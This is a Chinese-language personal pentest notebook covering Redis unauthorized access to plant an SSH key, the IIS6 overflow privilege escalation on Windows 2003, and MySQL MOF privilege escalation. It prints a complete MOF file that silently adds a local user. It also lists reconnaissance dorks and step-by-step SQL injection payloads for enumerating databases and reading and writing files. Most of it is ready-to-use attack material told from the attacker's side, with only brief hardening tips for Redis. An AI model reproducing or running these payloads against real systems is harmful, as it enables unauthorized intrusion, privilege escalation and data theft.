记一些乱七八糟的东西
Redis未授权访问利用
理论上来说默认配置下的redis访问不需要密码(有密码也可能存在弱口令),任何主机都可以6379端口直接连接redis。连接后设置redis备份目录到 /root/.shh
,并创建数据库文件名为 auhenticed_keys
(大概),就可以通过redis的k-v,往里面写入一个公钥。保存了私钥的攻击者就能够通过ssh免密连接redis运行主机。
还原过程中遇到了两个问题。一,docker容器中运行的redis,在设置备份路径时始终permission denied
,我试着进入容器内部,检查身份为root,然后用redis自带的redis-cli
修改备份路径,然而报错同上。多次尝试未果,遂放弃。二,下载redis最新版本,改为直接运行后尝试脚本,发现最新的redis(至少对于直接运行在主机上的版本)已经默认设置为保护模式,只接受localhost,需要手动关闭。
问题。如果redis运行在docker中,那么就算拿下root也是容器的root,后续操作不明。
有意思的地方,docker -v参数可以将文件目录映射到容器中,那么可以直接映射 /etc/passwd/
,这样就能提权了?
建议。修改redis.conf
禁掉 config
命令等;设置密钥;设置访问ip白名单;
IIS6.exe溢出提权
主机cmd权限禁止时,上传一个cmd到可读可写的目录下,然后执行
针对Windows2003的代码
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB970483 KB3057191
KB2840221 KB3000061 KB2850851 KB2711167 KB2360937
KB2478960 KB2507938 KB2566454 KB2646524 KB2645640
KB2641653 KB944653 KB952004 KB971657 KB2620712
KB2393802 KB942831 KB2503665 KB2592799 KB956572
KB977165 KB2621440) do @type C:\Windows\Temp\temp.txt|
@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows
\Temp\temp.txt
其实就是
查看未修补的补丁编号
KB952004 MS09-012 PR -pr.exe
KB956572 MS09-012 巴西烤肉
KB970483 MS09-020 IIS6溢出 -iis6.exe
如果存在 KB970483 not installed
那就上传iis6.exe
(其实就是一个该漏洞的利用工具),还是通过cmd,执行 iis6.exe command
注意:
远程连接需要guests用户组,需要对方开放端口,需要administrators组做更多操作
MySql提权–MOF
将以下代码保存为nullevt.mof
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user vwmin vwmin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
通过mysql查询将文件导入
select load_file('C:\...\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
信息收集
四大件
Wappalyzer chrome | firfox插件,探测站点软件 |
如何判断网站服务器操作系统
大小写判断,Windows不区分大小写,Linux区分
判断网站脚本格式
后缀常见地能看出动态和静态;后缀html
可能是静态也可能是动态;
判断网站数据库类型
扫描失败:端口修改、站库分离、内网服务器
SQL server:1433
MySQL:3306
oracle:1521
判断网站运行环境
response header中
Server`字段
判断网站内容管理系统(cms)
平台:bugscaner.com; 工具:whatweb、御剑指纹识别(不太好嗷,需要字典累计)、cmsmap
搭建常见组合
php + mysql
asp + access | mssql
aspx mssql
jsp mssql | oracle
域名
域名注册人信息收集
子域名爆破
域传送漏洞
工具
dnsenum、layer子域名挖掘机、subDomainBrute、wydomain
如果目标网络使用CDN,如何绕过并找到IP段
超级ping – 有网络平台提供,
善用搜索引擎
收集域名和mail地址 工具theHarvester
搜索敏感文件、搜索管理后台、搜索mail、搜索敏感web路径… 参见
Google搜索基本语法
""
完全匹配搜索,双引号内的内容不会被拆分
+
关联性搜索,加号指定一个一定存在的关键此
-
去关联性搜索,减号指定一个一定不存在的关键词
|
存在性搜索,或两边的内容存在一个就会被显示出来
&
关联性搜索,与两边的内容同时存在才会被显示出来
Goole搜索特殊语法
site:
搜索指定域名下的结果
作用:
- 可以针对目标做一个准确的信息收集
- 得到目标的子域名
inurl:
搜索结果的URL中一定含有后接关键词
一般用于批量搜索,比如批量找后台、找注入点、找指定漏洞目标站点、确定目标脚本语言等etc
intitle:
搜索结果标题中包含指定内容
批量搜索后台、寻找弱点网站
cache:
类似于百度的快照功能,用于搜索查看网站历史页面状况
IP
C段IP
主站无法渗透时尝试通过C段其他主机渗透再通过内网进行攻击
旁注
攻击同服务器的其他站点
SQL注入
获取字段数:order by x 取临界值
取得临界值后:union select 1,2,…,x
获取数据库名: database();
获取数据库版本:version();
获取当前数据库用户:user();
获取当前操作系统: @@version_compile_os
INFORMATION_SCHEMA
Information_schema
MySQL5.0及以上版本自带的数据库,记录有当前MySQL下所有数据库名、表明、列名信息。
Information_schema.tables
记录表名信息的表
Information_schema.columns
记录所有列名的表
Table_name
表名
Column_name
列名
Table_schema
数据库名
SELECT DISTINCT information_schema.TABLES.TABLE_SCHEMA FROM information_schema.
TABLES``获取目标数据库所有库名
SELECT TABLE_NAME FROM information_schema.
TABLES WHERE TABLE_SCHEMA = 'blog'
获取目标数据库目标库的所有表名
SELECT COLUMN_NAME FROM information_schema.
COLUMNS WHERE TABLE_SCHEMA = 'blog' AND TABLE_NAME = 'article'
获取目标数据库目标库目标表所有字段名
文件操作
load_file('filepath');
读取文件
select '123' into outfile 'filepath'
将123写入目标文件
以上操作均需读写权限(大概就是root)
防注入
php:magic_quotes_gpc=true (魔术引号)、addslashes() (安全函数) :再一些特殊符号,如单引号等前添加反斜杠
绕过,采用编码或宽字节
高权限跨库注入
情形:网站A无注入点,网站B存在注入点,且AB数据库为统一MySQL服务器、网站B拥有数据库root权限
杂项
and 1=(select * from eims_User FOR XML PATH('')) --
似乎很好用的亚子
网站目录爬行 根据网站中出现的连接构建出站点目录结构